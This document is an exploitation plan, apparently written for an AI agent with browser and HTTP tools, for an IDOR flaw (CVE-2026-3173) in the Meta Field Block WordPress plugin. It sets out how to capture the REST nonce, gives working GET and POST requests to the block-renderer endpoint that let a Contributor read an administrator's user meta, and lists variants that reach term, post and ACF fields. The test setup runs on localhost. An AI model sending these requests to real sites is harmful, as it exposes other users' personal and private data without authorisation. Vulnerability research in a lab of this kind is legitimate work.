Exploitation Research Plan: CVE-2026-3173 (Meta Field Block IDOR)

1. Vulnerability Summary

The Meta Field Block plugin (versions <= 1.5.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. The plugin registers a Gutenberg block (mfb/meta-field-block) that renders metadata from posts, terms, or users. The server-side rendering logic for this block accepts objectId and objectType as attributes but fails to perform capability checks to ensure the current user is authorized to view the metadata of the requested object.

Consequently, any authenticated user with access to the block editor (Contributor level and above) can exploit the block-renderer REST API endpoint to retrieve sensitive metadata (PII, session info, or configuration) belonging to any user, post, or term by manipulating the block attributes.

2. Attack Vector Analysis

• Endpoint: /wp-json/wp/v2/block-renderer/mfb/meta-field-block
• Method: GET or POST (typically GET for the block renderer)
• Vulnerable Parameter: attributes (specifically objectId, objectType, and fieldName within the JSON-encoded attributes).
• Authentication: Required (Contributor+). Any user with edit_posts capability can access the Gutenberg editor and trigger the block renderer.
• Preconditions: The attacker must have a valid login session as a Contributor or higher.

3. Code Flow

1. Entry Point: The block is registered with a render_callback (standard for dynamic blocks).
2. REST API Trigger: In the Gutenberg editor, when a block is inserted or modified, the editor requests a preview from the WordPress REST API endpoint /wp-json/wp/v2/block-renderer/mfb/meta-field-block.
3. Data Retrieval (Sink):
   • The plugin's rendering logic (likely in a class like StandardFields or ACFFields) extracts attributes from the request.
   • ACFFields::get_block_content (in includes/acf-fields.php) calls get_field_value.
   • ACFFields::get_object_id_with_type (in includes/acf-fields.php) processes the object_id and object_type.
   • Functions like get_user_meta($object_id, $field_name, true) or get_field_object() (ACF) are called using the user-provided object_id and object_type.
4. Missing Check: There is no call to current_user_can( 'edit_user', $object_id ) or similar authorization checks before fetching and returning the meta value.

4. Nonce Acquisition Strategy

The /wp-json/wp/v2/block-renderer endpoint requires a valid REST API nonce (_wpnonce).

1. Create Page: Create a dummy post/page as the Contributor user to access the editor.

   wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID] --post_title="Exploit Page"
   

2. Navigate to Editor: Use browser_navigate to open the edit screen for that post (e.g., /wp-admin/post.php?post=[POST_ID]&action=edit).
3. Extract Nonce: Use browser_eval to extract the REST nonce from the wpApiSettings object globally available in the admin dashboard.

   // JavaScript to run via browser_eval
   window.wpApiSettings.nonce
   

4. Identify Block Name: Verifying from build/index.js, the block name is verbatim mfb/meta-field-block.

5. Exploitation Strategy

The goal is to read the first_name and nickname (and potentially WooCommerce PII if installed) of the Administrator (User ID 1).

Step-by-Step Plan:

1. Setup: Create an Administrator and a Contributor. Add sensitive meta to the Administrator.
2. Authentication: Log in to the WordPress dashboard as the Contributor.
3. Nonce Capture: Navigate to a post editor page and capture the _wpnonce.
4. Request Payload: Construct a request to the block-renderer endpoint.
   • URL: /wp-json/wp/v2/block-renderer/mfb/meta-field-block
   • Query Params:
     • context: edit
     • attributes[fieldName]: first_name (or any target meta key)
     • attributes[objectType]: user
     • attributes[objectId]: 1 (Admin ID)
     • _wpnonce: [CAPTURED_NONCE]

Example HTTP Request (using http_request tool):

GET /wp-json/wp/v2/block-renderer/mfb/meta-field-block?context=edit&attributes%5BfieldName%5D=first_name&attributes%5BobjectType%5D=user&attributes%5BobjectId%5D=1&_wpnonce=[NONCE] HTTP/1.1
Host: localhost:8080
Cookie: [CONTRIBUTOR_COOKIES]

6. Test Data Setup

1. Target User: Create an Administrator user (ID 1) and set a specific first_name and nickname.

   wp user create admin_victim victim@example.com --role=administrator --user_pass=password
   wp user update 1 --first_name="TopSecretName" --nickname="ShadowAdmin"
   

2. Attacker User: Create a Contributor user.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

3. Sensitive Meta (Optional/WooCommerce Simulation):

   wp user meta update 1 billing_phone "555-0199"
   wp user meta update 1 billing_address_1 "123 Secure St"
   

7. Expected Results

The REST API response will be a JSON object. The rendered property will contain the HTML markup of the block, which includes the raw value of the metadata.

Example Response:

{
  "rendered": "<div class=\"wp-block-mfb-meta-field-block mfb-meta-field-block\">TopSecretName<\/div>"
}

If the attacker retrieves TopSecretName, the IDOR is confirmed.

8. Verification Steps

1. Verify Value via CLI: Check the actual database value to ensure the response matches.

   wp user meta get 1 first_name
   

2. Check Response Content: Ensure the rendered string in the JSON response contains the value TopSecretName.

9. Alternative Approaches

• ACF Integration: If Advanced Custom Fields is active, the payload can target ACF fields by adding attributes[fieldType]=acf.
• Term Meta: Target term metadata by setting attributes[objectType]=term and attributes[objectId]=[TERM_ID].
• Post Meta: Target private post metadata by setting attributes[objectType]=post and attributes[objectId]=[PRIVATE_POST_ID].
• POST Request: Some environments may block long GET queries; the block-renderer also accepts POST with attributes in the body.

  # Alternative POST request body
  action=post&attributes={"fieldName":"first_name","objectType":"user","objectId":1}&_wpnonce=[NONCE]